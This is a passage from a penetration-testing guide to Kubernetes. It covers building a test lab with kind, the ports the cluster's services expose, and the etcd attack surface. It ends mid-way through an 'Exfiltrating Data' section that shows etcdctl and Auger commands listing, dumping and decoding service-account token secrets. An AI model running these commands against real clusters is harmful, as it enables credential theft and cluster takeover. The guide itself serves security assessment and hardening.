Attacking Kubernetes

A Guide for Administrators and Penetration Testers

kubernetes

Prepared for the Cloud Native Computing Foundation
Released for CNCF Review - August 6, 2019 (version 1.0)

Table of Contents

Introduction

Atredis Partners ("Atredis") recently completed a security assessment of Kubernetes which resulted in the identification of a limited number of high severity issues. None of the identified issues resulted in the discovery of any practical, real-world attack vectors. It is Atredis' position that, when deployed using documented best practices, Kubernetes is difficult to attack without initial system access.

Kubernetes consists of various network services and processes deployed across nodes. Services are protected using adequate authentication and authorization schemes. This prevents various security issues like the use of weak or default passwords. Fine-grained authorization controls may be deployed to reduce the risk of unauthorized access as the result of disclosed credentials. Best practices also specify that the backing datastore in use is to be protected using TLS authentication and that data-in-transit should be encrypted.

There are some configuration options which may lead to administrators configuring clusters in a vulnerable state. Additionally, Kubernetes can be complex, and as the cluster and requirements grow, so does complexity. Using resources outside of the official documentation to address service requirements may result in security issues. For example, numerous blogs, articles, and forum posts provide solutions for permission issues by making default service accounts cluster-admins. Official, documented best practices and default options should prevent issues entirely or provide administrators with the background knowledge to deploy compensating controls.

Related to cluster complexity, the biggest threat to a Kubernetes cluster is modifications and side-effects that are created by third-party services or utilities that expand capabilities. While there is an ever-expanding attack surface surrounding third-party components, testing was conducted against Kubernetes services only and did not include testing of the following:

- Container runtimes including Docker
- The `etcd` server and associated utilities
- Commonly used components such as `Helm`
- Container Network Interface (CNI) implementations such as the Weave CNI, Flocker, etc.

These components were used to develop scenarios and an overall understanding of the attack landscape, but underlying source code, protocols, and architecture were not evaluated.

The current landscape of Kubernetes requires attackers to leverage the system as it was intended in order to compromise assets or gain access to sensitive information. The order in which offensive actions are taken can vary greatly, depending on the position of the attacker. Possible attacker positions could include, but may not be limited to, the following:

- Network access to administrative services including `kube-apiserver`

- Network access to master and worker node services, including kubelet and `etcd`
- System access to worker nodes
- System access to control-plane nodes
- System access to a Pod container

Atredis Partners' general attack methodology for Kubernetes includes the following steps:

- Identify exposed network services, such as `kube-apiserver`, `kubelet`, or `etcd`
- Identify authentication credentials, such as bearer tokens and TLS certificates
- Enumerate authorization configurations and permissions (if needed, escalate privileges using several different strategies)
- Use acquired access to perform nefarious actions against the Kubernetes cluster, which could include exfiltrating secrets and other sensitive information, and maintain persistent access within a cluster

The remainder of this document will focus on areas where a deeper understanding would be helpful in deploying this methodology. Traditional network and application testing processes such as service discovery, enumeration, and interrogation are not discussed. Container escapes, public key infrastructure (PKI), domain name system (DNS), and service orchestration are also not discussed. Background on each of these topics should be considered prerequisite for anyone looking to attack a Kubernetes cluster.

Test Environment Setup

Deployment of an easily reproducible test environment is critical to both learning how to attack Kubernetes and learning how to defend it. A test environment that allows you to view and interact with components is also key.

Using cloud deployments such as Amazon Web Services (AWS), Digital Ocean, or others is a great option for learning how to use and interact with Kubernetes from an administrator point-of-view; however, these solutions will not necessarily allow you to interact with every component directly (as in the case of `etcd`). Minikube[1] is also not a viable solution, as it does not present a realistic environment due to the absence of authentication and authorization controls and because multi-node scenarios are not possible.

During testing, we chose to use two separate solutions: Kubespray[2] and kind[3]. Kubespray uses Ansible[4] to deploy clusters to cloud providers and local systems using SSH or VirtualBox. Both solutions use `kubeadm`[5] as an underlying deployment strategy. It should be noted that an in-depth discussion of the `kubeadm` API is outside the scope of this document.

There are several benefits to Kubespray, including the ability to use different network plugins, high levels of customization, and Vagrant support. The downsides of Kubespray include a long deployment time, dependencies, missing documentation, and various bugs to work through when deploying to a local system.

kind deploys clusters using a "Docker-in-Docker" approach. Although kind is not suitable for production use, it is very suitable for testing. More information on "Docker-in-Docker" is available in the kind documentation.

The benefits of using kind include quick deployments and very few dependencies. There can be some quirks to work through, and some knowledge of Docker will be helpful when interacting with and customizing components; however, the testing team found kind to be the best solution when performing local testing.

---

[1] Kubernetes Official Documentation - Installing Kubernetes with Minikube: https://kubernetes.io/docs/setup/learning-environment/minikube/
[2] Kubernetes Official Documentation - Installing Kubernetes with Kubespray: https://kubernetes.io/docs/setup/production-environment/tools/kubespray/
[3] Official kind Documentation: https://kind.sigs.k8s.io/
[4] Official Ansible Documentation: https://docs.ansible.com/
[5] Kubernetes Official Documentation - Overview of kubeadm: https://kubernetes.io/docs/reference/setup-tools/kubeadm/kubeadm/

Our testing environment used GNU/Linux Ubuntu LTS, but any version of Linux supporting Docker will work. Atredis suggests consulting the official Docker documentation[6] on how to install and configure a usable instance. Once installed successfully, the following instructions can be used to replicate our testing environment.

Installation of Dependencies

Install Go

Go is needed to build the kind binary. The following instructions can be used to install Go. As of the date of this document, the latest version of Go was 1.12.7; however, any future version should be usable.

Additionally, this setup assumes the username is "`root`" for documentation only. Change the user from "`root`" to your username as required.

```
$ wget https://dl.google.com/go/go1.12.7.linux-amd64.tar.gz
$ tar -zxvf go1.12.7.linux-amd64.tar.gz
$ mv go /usr/local
$ mkdir -p /root/go/{src,bin,pkg}

## Place environment variables in ~/.bashrc
export PATH=$PATH:/usr/local/go/bin:/root/go/bin
export GOPATH=/root/go
```

Confirm that Go is installed correctly, as seen below.

```
$ go version
go version go1.12.7 linux/amd64
```

Install kind

kind can be built using Go. The following command will download and compile the command source code.

```
$ go get -u sigs.k8s.io/kind
$ kind version
v0.4.0
```

Install kubectl

kubectl is used to interact with a Kubernetes cluster. It is possible to interact with the `kube-apiserver` without kubectl, but for all intents and purposes, kubectl will be considered a dependency.

kubectl may be installed using aptitude, but there are alternative installation methods available.

---

[6] Official Docker documentation: https://docs.docker.com/

Consult the kubectl documentation[7] for installation instructions particular to your operating system.

```
$ apt-get update && apt-get install -y apt-transport-https
$ curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -
$ echo "deb https://apt.kubernetes.io/ kubernetes-xenial main" | tee -a
/etc/apt/sources.list.d/kubernetes.list
$ apt-get update
$ apt-get install -y kubectl
```

Using kind

Cluster Creation

Reading kind's cluster creation documentation[8] is strongly suggested, as it is well-written and straightforward. Some in-depth knowledge of Docker and kind operation will be helpful when customizing various Kubernetes services. The following commands and details can be used to create and modify a cluster.

A cluster can be created using a built-in default configuration. The following command will download various Docker images, start them, and provide the user with a kubectl config.

[7] Kubernetes Official Documentation – Install and Set Up kubectl: https://kubernetes.io/docs/tasks/tools/install-kubectl/

[8] kind Documentation – Creating a Cluster: https://kind.sigs.k8s.io/docs/user/quick-start#creating-a-cluster

```
$ kind create cluster
Creating cluster "kind" ...
 ✓ Preparing nodes 📦
 ✓ Creating kubeadm config 📜
 ✓ Starting control-plane 🕹️ u
Cluster creation complete. You can now use the cluster with:

export KUBECONFIG="$(kind get kubeconfig-path --name="kind")"
```

Cluster Interaction

Once the cluster has been created, you can configure an environment which is used by kubectl. This can also be provided to kubectl using the `–kube-config` command argument.

```
$ export KUBECONFIG="$(kind get kubeconfig-path --name="kind")"
$ kubectl cluster-info
Kubernetes master is running at https://localhost:45863
KubeDNS is running at https://localhost:45863/api/v1/namespaces/kube-system/services/kube-
dns:dns/proxy

To further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.
$ kubectl get nodes
NAME                 STATUS   ROLES    AGE     VERSION
kind-control-plane   Ready    master   5m14s   v1.13.4
```

Destroy and Create Clusters with Config

The default cluster configuration is helpful for learning, but you will eventually want to customize the cluster config to create more expansive clusters.

This simple config creates three machines, one master (`control-plane`) and two associated nodes (`worker`).

```
kind: Cluster
apiVersion: kind.sigs.k8s.io/v1alpha3
nodes:
- role: control-plane
- role: worker
- role: worker
```

Previously created clusters can be destroyed with the following command.

```
$ kind delete cluster
Deleting cluster "kind" ...
```

Assuming your configuration file is in `kind-config.yaml`, it is then possible to create a new cluster using the `–config` flag.

```
$ kind create cluster --config kind-config.yaml
```

As shown, an inspection of the created Docker containers shows information about the "Docker-in-Docker" architecture, with the three containers started.

```
$ docker ps
CONTAINER ID        IMAGE                  COMMAND                  CREATED
STATUS              PORTS                                  NAMES
4c73eaaa7b30        kindest/node:v1.13.4   "/usr/local/bin/entr…"   About a minute ago   Up
About a minute                                             kind-worker2
c50720e11e4d        kindest/node:v1.13.4   "/usr/local/bin/entr…"   About a minute ago   Up
About a minute   46019/tcp, 127.0.0.1:46019->6443/tcp   kind-control-plane
27a794fa83d0        kindest/node:v1.13.4   "/usr/local/bin/entr…"   About a minute ago   Up
About a minute                                             kind-worker
$ kubectl get nodes
NAME                 STATUS     ROLES    AGE   VERSION
kind-control-plane   NotReady   master   42s   v1.13.4
kind-worker          NotReady   <none>   29s   v1.13.4
kind-worker2         NotReady   <none>   29s   v1.13.4
```

Accessing Master and Nodes

Accessing a Master or Node can be achieved by using Docker (particularly `docker exec`). The following can be used to create a shell within a worker.

```
$ docker exec -it kind-worker /bin/bash
root@kind-worker:/#
```

Once inside the worker, it is possible to inspect processes and see that Kubernetes services, such as `kubelet`, are running within a separate container, as shown below.

```
root@kind-worker:/# ps -ef
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 02:50 ?        00:00:00 /sbin/init
root        56     1  0 02:50 ?        00:00:00 /lib/systemd/systemd-journald
root        66     1  3 02:50 ?        00:00:07 /usr/bin/dockerd -H fd://
root        79    66  0 02:50 ?        00:00:00 docker-containerd --config
/var/run/docker/containerd/containerd.toml
root       630     1  2 02:51 ?        00:00:03 /usr/bin/kubelet --bootstrap-
kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf -
-config=/var/lib/kubelet/conf
root       707    79  0 02:51 ?        00:00:00 docker-containerd-shim -namespace moby -
workdir
/var/lib/docker/containerd/daemon/io.containerd.runtime.v1.linux/moby/54d76fa840dbbd11285dff3
bcf5b04e45
root       708    79  0 02:51 ?        00:00:00 docker-containerd-shim -namespace moby -
workdir
/var/lib/docker/containerd/daemon/io.containerd.runtime.v1.linux/moby/55c1f7488b9ad8890139d05
8619725189
root       735   707  0 02:51 ?        00:00:00 /pause
root       750   708  0 02:51 ?        00:00:00 /pause
root       826    79  0 02:51 ?        00:00:00 docker-containerd-shim -namespace moby -
workdir
/var/lib/docker/containerd/daemon/io.containerd.runtime.v1.linux/moby/63658d8314f2694d6d45742
19ee4615a4
root       861   826  0 02:51 ?        00:00:00 /usr/local/bin/kube-proxy --
config=/var/lib/kube-proxy/config.conf --hostname-override=kind-worker
root       925    79  0 02:51 ?        00:00:00 docker-containerd-shim -namespace moby -
workdir
/var/lib/docker/containerd/daemon/io.containerd.runtime.v1.linux/moby/e816f2017a09b8c4ffadb64
8a62f0153c
root       941   925  0 02:51 ?        00:00:00 /usr/bin/weave-npc
root      1023   941  0 02:51 ?        00:00:00 /usr/sbin/ulogd -v
root      1130    79  0 02:52 ?        00:00:00 docker-containerd-shim -namespace moby -
workdir
/var/lib/docker/containerd/daemon/io.containerd.runtime.v1.linux/moby/20d0edb856b5bd57eeaec91
80856b2884
root      1148  1130  0 02:52 ?        00:00:00 /bin/sh /home/weave/launch.sh
root      1253  1148  0 02:52 ?        00:00:00 /home/weave/weaver --port=6783 --
datapath=datapath --name=22:17:76:10:98:b3 --host-root=/host --http-addr=127.0.0.1:6784 --
metrics-addr=0.0.0.0:6782 --
root      1365  1130  0 02:52 ?        00:00:00 /home/weave/kube-utils -run-reclaim-daemon -
node-name=kind-worker -peer-name=22:17:76:10:98:b3 -log-level=debug
root      1473     0  0 02:53 pts/0    00:00:00 /bin/bash
root      1525  1473  0 02:54 pts/0    00:00:00 ps -ef
```

As in the case of most Docker images, kind images also do not have many utilities installed. The kind images are based off Ubuntu and aptitude can be used to install utilities as required. For example, `tcpdump` is a useful utility that can be installed to inspect traffic. The following commands demonstrate installing software on a node.

```
root@kind-worker:/# apt-get update
Get:1 http://security.ubuntu.com/ubuntu bionic-security InRelease [88.7 kB]
--snip--
Get:18 http://archive.ubuntu.com/ubuntu bionic-updates/universe amd64 Packages [956 kB]
Get:19 http://archive.ubuntu.com/ubuntu bionic-backports/universe amd64 Packages [3659 B]
Get:20 http://archive.ubuntu.com/ubuntu bionic-backports/main amd64 Packages [942 B]
Fetched 15.7 MB in 3s (4596 kB/s)

root@kind-worker:/# tcpdump
bash: tcpdump: command not found

root@kind-worker:/# apt-get install tcpdump
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
  libpcap0.8
Suggested packages:
  apparmor
The following NEW packages will be installed:
  libpcap0.8 tcpdump
0 upgraded, 2 newly installed, 0 to remove and 11 not upgraded.
Need to get 505 kB of archives.
--snip--
Processing triggers for libc-bin (2.27-3ubuntu1) ...

root@kind-worker:/# tcpdump
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
```

Customizing Services

kind is a wrapper around Docker and `kubeadm`. The kind configuration file can be used to patch generated config files for `kubeadm`. This allows you to fully customize various Kubernetes services.

The following configuration file displays how to modify `kube-apiserver` arguments to add support for encryption of secrets.

```
kind: Cluster
apiVersion: kind.sigs.k8s.io/v1alpha3
# patch the generated kubeadm config with some extra settings
kubeadmConfigPatches:
- |
  apiVersion: kubeadm.k8s.io/v1beta2
  kind: ClusterConfiguration
  metadata:
    name: config
  apiServer:
    extraArgs:
      encryption-provider-config: /etc/kubernetes/custom/crypto.config
    extraVolumes:
    - name: crypto-config-volume
      hostPath: /etc/kubernetes/custom/crypto.config
      mountPath: /etc/kubernetes/custom/crypto.config
      readOnly: true
      pathType: File
# 1 control plane node and 3 workers
nodes:
# the control plane node config
- role: control-plane
  extraMounts:
    - containerPath: /etc/kubernetes/custom/crypto.config
      hostPath: /home/atredis/crypto.config
# the three workers
- role: worker
- role: worker
```

As shown, under our control-plane role on one of our nodes, we shared files from our host into the Docker container; this can be done to provide tools and other files to worker and control-plane nodes. Above this, we use `kubeadmConfigPatches` to provide `kubeadm` extra configuration information.

Network Exposure

Kubernetes control plane and worker nodes consist of several processes, few of which expose themselves to the network. From the Internet or an internal network, only the `kube-apiserver` should be exposed; however, on an internal network, installations may expose `kubelet` and `etcd`.

Master Node

The first service to discuss is `kube-apiserver`, which will be deployed across one or more instances. `kube-apiserver` is a TLS service and will listen on TCP port `6443`. Access to this service is protected by authentication and authorization modules. Anonymous access can be configured and used to identify clusters.

Additionally, `kube-apiserver` listens on an "insecure" port (default TCP port `8080`) and is also bound to `localhost`. Access from this service is not protected by authentication or authorization controls and is only protected by limiting access to `localhost`. Access can and should be disabled using the `–insecure-port` argument and setting it to `0`. Related, `--insecure-bind-address` can be used to expose the service on additional interfaces.

Two other services running on the control plane include `kube-controller-manager` and `kube-scheduler`. These services pass authorization information to `kube-apiserver`. As a general best practice, access should be bound to `localhost` where possible.

The backing datastore `etcd` listens on TCP ports `2379` and `2380` by default. Access is covered in the Attack Surface of etcd section of this document.

Worker Node

On a worker node, `kubelet` will listen on TCP ports `10250` and `10255`. By default, there is no authentication or authorization on this service, and access alone will allow code execution on running Pod containers. TLS authentication modules and network filtering should be configured to prevent unauthorized access.

Authentication to `kubelet` is controlled using a few arguments. `--anonymous-auth` controls anonymous access and is enabled by default.

```
--anonymous-auth
Enables anonymous requests to the Kubelet server. Requests that are not rejected by another
authentication method are treated as anonymous requests. Anonymous requests have a username
of system:anonymous, and a group name of system:unauthenticated. (default true)
```

TLS authentication can be enabled using `–client-ca-file`. Other arguments are available that can be utilized for authorization as well, as shown below.

```
--client-ca-file string
If set, any request presenting a client certificate signed by one of the authorities in the
client-ca-file is authenticated with an identity corresponding to the CommonName of the
client certificate.
```

kubectl

kubectl is a client used to access `kube-apiserver`. `kubectl proxy` and `kubectl port-forward` are commands that can be used to expose services over the network. The proxy command starts an HTTP proxy listening on `localhost` by default and forwarding requests to a `kube-apiserver` using authentication and authorization details from a kube config file, making it an unauthenticated entry point into a cluster.

The proxy server started by `kubectl proxy` should only be used for temporary access by developers and administrators; however, in practice it has been seen on assessments as a permanent workaround and exposed over internal networks. It is also a common solution to enabling dashboard UI access.

The default port for the proxy is `8001`. Certain arguments may expose this service to Cross-Site Request Forgery (CSRF) attacks and are documented in command help output. Kubernetes should consider removing the `proxy` command or make it more difficult to run in the future to prevent abuse. Build-tags or timeouts could be used to prevent misuse, as is common in other software.

Attack Surface of etcd

Kubernetes stores all cluster data within `etcd`, a distributed key-value store. The API server talks to `etcd`, and all other components talk to the API server to get and store information. Access to `etcd` provides access to any and all data. From the Kubernetes documentation:

> Access to `etcd` is equivalent to root permission in the cluster so ideally only the API server should have access to it. Considering the sensitivity of the data, it is recommended to grant permission to only those nodes that require access to `etcd` clusters.[9]

It is possible to deploy `etcd` as a single server or in a cluster; in production deployments access will be protected using PKI. Network filtering is an option for securing access, although it is rarely used.

An understanding of `etcd` is necessary when looking to attack and understand Kubernetes internals. Later in this document, sections on Authentication and Authorization will leverage `etcd` to explore these concepts.

Attacking

Gaining network access to `etcd` will be heavily dependent on configuration and the attacker's current position on a network/cluster.

Tools and Utilities

`etcd` uses a gRPC (an RPC using Protocol Buffers, `Protobuf`s) for communication. This is a data serialization format. As a result, accessing data using typical utilities is a non-starter; appropriate tools must be built or acquired.

etcdctl

`etcdctl` is a statically compiled utility written in Go that comes from the `etcd` project. It can be used to manage and browse data from an `etcd` endpoint. `etcdctl` is available to be downloaded from `etcd`'s GitHub release pages and used as a stand-alone binary[10].

Some standard arguments are shown in the following command, which is executed on the control-plane. The environment variable `ETCDCTL_API=3` is required when interacting with Kubernetes data.

[9] Kubernetes Official Documentation – Securing etcd Clusters https://kubernetes.io/docs/tasks/administer-cluster/configure-upgrade-etcd/#securing-etcd-clusters
[10] GitHub Release Pages - https://github.com/etcd-io/etcd/releases

```
# ETCDCTL_API=3 ./etcdctl --cacert=/etc/kubernetes/pki/etcd/ca.crt --
cert=/etc/kubernetes/pki/apiserver-etcd-client.crt --key=/etc/kubernetes/pki/apiserver-etcd-
client.key --endpoints=https://127.0.0.1:2379
```

Auger

As discussed, `etcd` uses `Protobuf`s, and data coming out of `etcdctl` will be in a binary format that, for all intents and purposes, is not readable (although we will identify how to browse keys later in this document). Auger[11] is an open-source utility for encoding and decoding objects from `etcd`. It is also written in Go and can be used as a stand-alone binary. The readme provides straight-forward details on how to build the project.

Discovery and Enumeration

Inspecting processes, configuration files, and traditional network service discovery and enumeration techniques (looking for default ports (TCP/`2379`), in particular) are useful when attempting to identify `etcd` servers in an environment.

For example, configuration files and command-line arguments for the `kube-apiserver` will detail useful information, including the location of the `etcd` endpoint and PKI information.

```
# ps -ef | grep apiserver
root        985    957  2 02:02 ?        00:05:04 kube-apiserver --authorization-
mode=Node,RBAC --advertise-address=172.17.0.3 --allow-privileged=true --client-ca-
file=/etc/kubernetes/pki/ca.crt --enable-admission-plugins=NodeRestriction --enable-
bootstrap-token-auth=true --etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt --etcd-
certfile=/etc/kubernetes/pki/apiserver-etcd-client.crt --etcd-
keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key --etcd-servers=https://127.0.0.1:2379 -
-insecure-port=0 --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-
client.crt --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key --kubelet-
preferred-address-types=InternalIP,ExternalIP,Hostname --proxy-client-cert-
file=/etc/kubernetes/pki/front-proxy-client.crt --proxy-client-key-
file=/etc/kubernetes/pki/front-proxy-client.key --requestheader-allowed-names=front-proxy-
client --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt --requestheader-
extra-headers-prefix=X-Remote-Extra- --requestheader-group-headers=X-Remote-Group --
requestheader-username-headers=X-Remote-User --secure-port=6
```

Additionally, enumerating data from cloud service providers' metadata services will often disclose the location of an endpoint and may even provide access to certificates and key files as well.

Browsing Data

Once an endpoint and PKI information are acquired, `etcdctl` can be used to browse data for a cluster. Using API version 3, data is stored using a format similar to a URL path. For example, all data pertaining to Kubernetes is stored under the prefix `/registry`.

[11] Auger on GitHub: https://github.com/jpbetz/auger

Using the `get` command, the `–prefix` argument, and `grep`, we can view all the keys contained in the registry.

```
ETCDCTL_API=3 ./etcdctl --cacert=/etc/kubernetes/pki/etcd/ca.crt --
cert=/etc/kubernetes/pki/apiserver-etcd-client.crt --key=/etc/kubernetes/pki/apiserver-etcd-
client.key --endpoints=https://127.0.0.1:2379 get /registry/ --prefix  | grep -a '/registry'
| wc -l
259
```

To view all the secrets, we could add `/registry/secrets/` to our prefix or reduce our search future with `grep`.

```
root@kind-control-plane:/# ETCDCTL_API=3 ./etcdctl --cacert=/etc/kubernetes/pki/etcd/ca.crt -
-cert=/etc/kubernetes/pki/apiserver-etcd-client.crt --key=/etc/kubernetes/pki/apiserver-etcd-
client.key --endpoints=https://127.0.0.1:2379 get /registry/ --prefix  | grep -a
'/registry/secrets'
/registry/secrets/default/default-token-lwv2z
/registry/secrets/kube-public/default-token-xm6cj
/registry/secrets/kube-system/attachdetach-controller-token-7pqkm
/registry/secrets/kube-system/bootstrap-signer-token-zcfwp
/registry/secrets/kube-system/bootstrap-token-abcdef
/registry/secrets/kube-system/certificate-controller-token-78g77
/registry/secrets/kube-system/clusterrole-aggregation-controller-token-j5frw
/registry/secrets/kube-system/coredns-token-ht4q5
/registry/secrets/kube-system/cronjob-controller-token-ts6dg
/registry/secrets/kube-system/daemon-set-controller-token-rc94k
/registry/secrets/kube-system/default-token-ddcb7
/registry/secrets/kube-system/deployment-controller-token-gchsb
/registry/secrets/kube-system/disruption-controller-token-x9bkf
/registry/secrets/kube-system/endpoint-controller-token-6n99n
/registry/secrets/kube-system/expand-controller-token-7ccbb
/registry/secrets/kube-system/generic-garbage-collector-token-x5fm5
/registry/secrets/kube-system/horizontal-pod-autoscaler-token-66jx8
/registry/secrets/kube-system/job-controller-token-5c5r4
/registry/secrets/kube-system/kube-proxy-token-28gfk
/registry/secrets/kube-system/namespace-controller-token-rzxp5
/registry/secrets/kube-system/node-controller-token-26f4t
/registry/secrets/kube-system/persistent-volume-binder-token-jmv2g
/registry/secrets/kube-system/pod-garbage-collector-token-r6lkd
/registry/secrets/kube-system/pv-protection-controller-token-h8pxn
/registry/secrets/kube-system/pvc-protection-controller-token-dglxl
/registry/secrets/kube-system/replicaset-controller-token-ltnc5
/registry/secrets/kube-system/replication-controller-token-cpdrj
/registry/secrets/kube-system/resourcequota-controller-token-cxlt2
/registry/secrets/kube-system/service-account-controller-token-6jkpw
/registry/secrets/kube-system/service-controller-token-s9w4x
/registry/secrets/kube-system/statefulset-controller-token-wwqmq
/registry/secrets/kube-system/token-cleaner-token-jxq52
/registry/secrets/kube-system/ttl-controller-token-jbgdj
/registry/secrets/kube-system/weave-net-token-nmb26
```

Exfiltrating Data

The following commands can be used to get a key and then decode it into a YAML format.

```
# ETCDCTL_API=3 ./etcdctl --cacert=/etc/kubernetes/pki/etcd/ca.crt --
cert=/etc/kubernetes/pki/apiserver-etcd-client.crt --key=/etc/kubernetes/pki/apiserver-etcd-
client.key --endpoints=https://127.0.0.1:2379 get /registry/secrets/kube-system/weave-net-
token-nmb26 | ./auger decode -o yaml
apiVersion: v1
data:
  ca.crt:
LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUN5RENDQWJDZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBR
EFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRNU1EY3dNVEF5TURJMU1sb1hEVEk1TURZeU9EQXlNRE
kxTWxvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBREN
DQVFvQ2dnRUJBTmxZCnBieDFXNXBIOVpvcFNjRmJMWkkvR3lmZVorRGtoWTRnYXN2M3lUakJqVTl3Y3ptUTRYZVF5dXZk
RkwxcXp1RzYKKy8rYjQzUTNQSDJEemxnVGtBMWpFRmg0YXE4akdDeEd3L3VLMkdQT2V0a0pHZWFEOEZ3N1g4MkJDaDNKT
UNZdQo0ZEJHN254c2dhUXNaRW9uVDh0cXE0M080L2tyTGhHdHEwRmkxcitmUURoY0JJeXpZczdIWlhiTWYxZmRHQlltCk
VlcVg1OTZJWnZrU1g4VE4wenU1T21EL2VNMmlsQWdiTDhUaFdncjJHUFljSU9wNTFJbnBac0srNURGdlNYWEIKU1dUWVd
6ZVhLUnpTOGs0SkZrUHpoUFk2YUJlUDZKdzUrNitOWkdGcUIzTSs0bFNTbUlraHp4Y0F0TWY5cHFZaAp2Rk8xNVY5T2NY
TnkvV25teTlFQ0F3RUFBYU1qTUNFd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0RRW
UpLb1pJaHZjTkFRRUxCUUFEZ2dFQkFNZWg1cjEvKzhTcTZscW0vU1lzcUYzMGZ2RmwKRXZDQ0dFak01djQzS0VKK1RnOU
dvRnowS1lTMGtSSkNqTzYzY0oxc2cwWEdQdEhrdW5WSE1ORGRxMjgvN21VMQpKV0JBM0FhK2hzSmVSR0UvU2c4c2tZQmR
RWU9Qcll5dDMyWUlJbGtickQ1SkNlWWppanRvZUQzOVMzQkRvM3VrCitNTDZkUk82bVhYOUg4UEJZMGNXNEhqMTkyU2pQ
NzdHck13dFhjUG0yOG51cTdNam94T1dZQllVWHEyeDFVRCsKc2xzcVBsWEVhQ08yQTZDakpnaFp1VWNSR2Z4RVpRbEkyZ
Es5TFEwR3Jkai8yc0pRSzgvVDNPTk5uUFlrb2FxKwp5aHRtb3FKcHgyNmVkak52M1NGa05xT1BxaHhvMnRUSTBmcExxTeT
RFQ0NmRjF4YU1jVHBUU3plNDYxST0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
  namespace: a3ViZS1zeXN0ZW0=
  token:
ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNklpSjkuZXlKcGMzTWlPaUpyZFdKbGNtNWxkR1Z6TDNObGNuWnBZMlZoW
TJOdmRXNTBJaXdpYTNWaVpYSnVaWFJsY3k1cGJ5OXpaWEoyYVdObFlXTmpiM1Z1ZEM5dVlXMWxjM0JoWTJVaU9pSnJkV0
psTFhONWMzUmxiU0lzSW10MVltVnlibVYwWlhNdWFXOHZjMlZ5ZG1salpXRmpZMjkxYm5RdmMyVmpjbVYwTG01aGJXVWl
PaUozWldGMlpTMXVaWFF0ZEc5clpXNHRibTFpTWpZaUxDSnJkV0psY201bGRHVnpMbWx2TDNObGNuWnBZMlZoWTJOdmRX
NTBMM05sY25acFkyVXRZV05qYjNWdWRDNXVZVzFsSWpvaWQyVmhkbVV0Ym1WMElpd2lhM1ZpWlhKdVpYUmxjeTVwYnk5e
lpYSjJhV05sWVdOamIzVnVkQzl6WlhKMmFXTmxMV0ZqWTI5MWJuUXVkV2xrSWpvaU5qTmlNbVUyTVRJdE9XSmhOQzB4TV
dVNUxXSmlNR1F0TURJME1qTXpaR1kxT1dWaUlpd2ljM1ZpSWpvaWMzbHpkR1Z0T25ObGNuWnBZMlZoWTJOdmRXNTBPbXQ
xWW1VdGMzbHpkR1Z0T25kbFlYWmxMVzVsZENKOS5rMERkSWd0bUZkZm02bmFoRE1KOXVVSUZnMmt6T1AzWUhGYVZQeFha
RTBINTNtdUFzc29aRm1OY1l1MUd3a2hlWkJ5RWNZY005S2lsSVdabWhSMmluQ09OZVo2YkVMc2wwR1VwZHNLZVktM1AxT
EtIc0JZVU1WQmp3dTNXQnVHSXRrcnFxbDBzdjNWMEJkUGlHRXdFNE5TMnpaamxia3dXMHZZUWpwVjVKb3R4RkZ5NEtWNE
1sVm40S1NSdFB4X0dyM0kxMFRzbW1CUUp6SnRyUmVkY3BUM3JxVTMwT05JYkt4WFdXcmJWSFNTcTM0VVB0bnA1dllOZEV
WVjhkZ0x3TmNhY0hwb0FILThiZkJyVWcyNlZtdzd5bXE0Ri0tM1hFb0IxYk5ZVWUzdWg4OXYwbnJzYS1hcEFTdGxNMzNw
Q20xRFpxU3JOWWtDNE9uUGptcnJvNGc=
kind: Secret
metadata:
  annotations:
    kubernetes.io/service-account.name: weave-net
    kubernetes.io/service-account.uid: 63b2e612-9ba4-11e9-bb0d-024233df59eb
  creationTimestamp: 2019-07-01T02:03:16Z
  name: weave-net-token-nmb26
  namespace: kube-system
  uid: 63b4b490-9ba4-11e9-bb0d-024233df59eb
type: kubernetes.io/service-account-token
```

The details surrounding how data within `etcd` is used to control authentication and authorization, as well as how to leverage `etcd` to escalate privileges are each discussed in later sections of this document. For now, know that the secret we just recovered contains an authentication token for a service account, and that service account has permissions to view node information.

The bearer token is decoded.

```
echo
'ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNklpSjkuZXlKcGMzTWlPaUpyZFdKbGNtNWxkR1Z6TDNObGNuWnBZMlZo
WTJOdmRXNTBJaXdpYTNWaVpYSnVaWFJsY3k1cGJ5OXpaWEoyYVdObFlXTmpiM1Z1ZEM5dVlXMWxjM0JoWTJVaU9pSnJkV
0psTFhONWMzUmxiU0lzSW10MVltVnlibVYwWlhNdWFXOHZjMlZ5ZG1salpXRmpZMjkxYm5RdmMyVmpjbVYwTG01aGJXVW
lPaUozWldGMlpTMXVaWFF0ZEc5clpXNHRibTFpTWpZaUxDSnJkV0psY201bGRHVnpMbWx2TDNObGNuWnBZMlZoWTJOdmR
XNTBMM05sY25acFkyVXRZV05qYjNWdWRDNXVZVzFsSWpvaWQyVmhkbVV0Ym1WMElpd2lhM1ZpWlhKdVpYUmxjeTVwYnk5
elpYSjJhV05sWVdOamIzVnVkQzl6WlhKMmFXTmxMV0ZqWTI5MWJuUXVkV2xrSWpvaU5qTmlNbVUyTVRJdE9XSmhOQzB4T
